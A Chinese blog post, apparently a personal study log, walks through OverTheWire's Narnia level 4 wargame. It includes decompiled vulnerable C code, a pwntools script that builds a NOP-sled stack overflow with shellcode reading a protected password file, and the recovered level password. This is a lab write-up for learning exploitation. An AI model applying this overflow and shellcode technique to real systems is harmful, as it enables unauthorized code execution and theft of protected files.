170829 WarGames-Narnia(4)
1625-5 王子昂 总结《2017年8月29日》 【连续第330天总结】
A. WarGames- Narnia4
B.
Level 4
int __cdecl main(int argc, const char **argv, const char **envp)
{size_t v3; // eax@2int v5; // [sp+1Ch] [bp-104h]@5int i; // [sp+11Ch] [bp-4h]@1for ( i = 0; *(_DWORD *)(4 * i + environ); ++i ){v3 = strlen(*(const char **)(4 * i + environ));memset(*(void **)(4 * i + environ), 0, v3);}if ( argc > 1 )strcpy((char *)&v5, argv[1]);return 0;
}
environ是库中定义的环境变量指针
源程序的作用为先清空所有环境变量再将参数1Copy至局部变量v5中
这算是一个反提示吧,level2可以通过将ShellCode放在环境变量中的方式来call
不过同样也需要debug才能获得地址,所以我觉得两种call没啥区别啊
与level2同样方法,吸取地址会改变的教训,直接本地生成ShellCode后复制到远端执行,通过gdb得到esp地址后重新生成ShellCode溢出得到password即可
生成脚本为:
payload = asm(shellcraft.linux.cat('/etc/narnia_pass/narnia5'))
offset = (0x110 - len(payload)) * '\\x90'
payload ="".join(["\\x%02x" % ord(i) for i in payload+p32(0xffffd810)])
shellcode = ''' $(python -c 'print "''' + offset + payload + '''"')'''
print(shellcode)
其中,offset的长度为计算得到:由反编译可知v5位置为bp-0x104,但由于编译器优化时进行了对齐,因此可以先给出一个超长的offset(例如0x150,不过由于对齐通常只偏差小于16字节的长度,因此给出0x104+4+16即可),通过返回地址的错误值算出返回地址的位置
ffffd810为在gdb中debug得到局部变量v5的地址,通过NOP sled可以降低精度要求
运行得到password:
faimahchiy
C. 明日计划
Narnia5
170829 WarGames-Narnia(4)相关推荐
- 170902 WarGames-Narnia(8)
1625-5 王子昂 总结<2017年9月2日> [连续第334天总结] A. WarGames-Narnia B. Level 8 int __cdecl func(int a1) {c ...
- OpenAPI使用(swagger3),Kotlin使用swagger3,Java使用swagger3,gradle、Maven使用swagger3
OpenAPI使用(swagger3) demo见Gitte 一.背景及名词解释 OpenAPI是规范的正式名称.规范的开发工作于2015年启动,当时SmartBear(负责Swagger工具开发的公 ...
- 2022-2028年中国第五代移动通信技术(5G)市场研究及前瞻分析报告
[报告类型]产业研究 [报告价格]4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了中国第五代移动通信技术(5G)行业市场行业相 ...
- 2021-2027全球与中国经颅磁刺激仪(TMS)市场现状及未来发展趋势
[报告类型]产业研究 [报告价格]¥4500起 [出版时间]即时更新(交付时间约3个工作日) [发布机构]智研瞻产业研究院 [报告格式]PDF版 本报告介绍了全球与中国经颅磁刺激仪(TMS)行业市场行 ...
- Go 学习笔记(84)— Go 项目目录结构
1. 目录规范 一个好的目录结构至少要满足以下几个要求. 命名清晰:目录命名要清晰.简洁,不要太长,也不要太短,目录名要能清晰地表达出该目录实现的功能,并且目录名最好用单数.一方面是因为单数足以说明这 ...
- Redis 笔记(16)— info 指令和命令行工具(查看内存、状态、客户端连接数、监控服务器、扫描大key、采样服务器、执行批量命令等)
Info 命令返回关于 Redis 服务器的各种信息和统计数值.通过给定可选的参数 section ,可以让命令只返回某一部分的信息. 1. 显示模块 server : 一般 Redis 服务器信息, ...
- Redis 笔记(12)— 单线程架构(非阻塞 IO、多路复用)和多个异步线程
Redis 使用了单线程架构.非阻塞 I/O .多路复用模型来实现高性能的内存数据库服务.Redis 是单线程的.那么为什么说是单线程呢? Redis 在 Reactor 模型内开发了事件处理器,这个 ...
- Redis 笔记(10)— 发布订阅模式(发布订阅单个信道、订阅信道后的返回值分类、发布订阅多个信道)
1. 发布-订阅概念 发布-订阅 模式包含两种角色,分别为发布者和订阅者. 订阅者可以订阅一个或者若干个频道(channel): 而发布者可以向指定的频道发送消息,所有订阅此频道的订阅者都可以收到此消 ...
- Redis 笔记(08)— 事务(一次执行多条命令、命令 watch/multi/exec/discard、错误处理)
1. 事务概念 Redis 中的事务 (transaction)是一组命令的集合.事务同命令一样是 Redis 的最小执行单位,一个事务中的命令要么都执行,要么都不执行.事务的原理是先将属于一个事务的 ...
- Redis 笔记(07)— sorted set 类型(添加、删除有序集合元素、获取分数范围内成员、按score排序、返回集合元素个数)
zset 可能是 Redis 提供的最为特色的数据结构,一方面它是一个 set,保证了内部 value 的唯一性,另一方面它可以给每个 value 赋予一个 score,代表这个 value 的排序权 ...
最新文章
- 讨论是学习最有效的方法
- 字符设备驱动笔记(一)
- 【信息抽取】如何使用卷积神经网络进行关系抽取
- Java黑皮书课后题第5章:*5.43(数学:组合)编写程序,显示从整数1到7中选择两个数字的所有组合,同时显示所有组合的总个数
- 老司机实战Windows Server Docker:3 单节点Windows Docker服务器简单运维(上)
- Python Pandas –操作
- Node.js package.json
- 2020-5-13从0在mac上搭载SSM新闻网站项目
- 利用varnish构建httpd缓存服务器
- 二维凸包(模板) hdu 1348 求凸包的周长
- win11组策略如何开启自动更新 Windows11组策略开启自动更新的设置方法
- vagrant 的安装与使用
- 暗黑3 外挂开发资料
- 宇视监控摄像头使用什么工具批量修改IP地址
- android访问服务器405,Http 405 错误
- Windows10查看本机连接过的WiFi密码
- 【Excel】使用宏处理重复操作示例 -- 录制分列操作
- Search()函数使用方法
- Scala基础知识(个人总结)
- c# 正则表达式 Group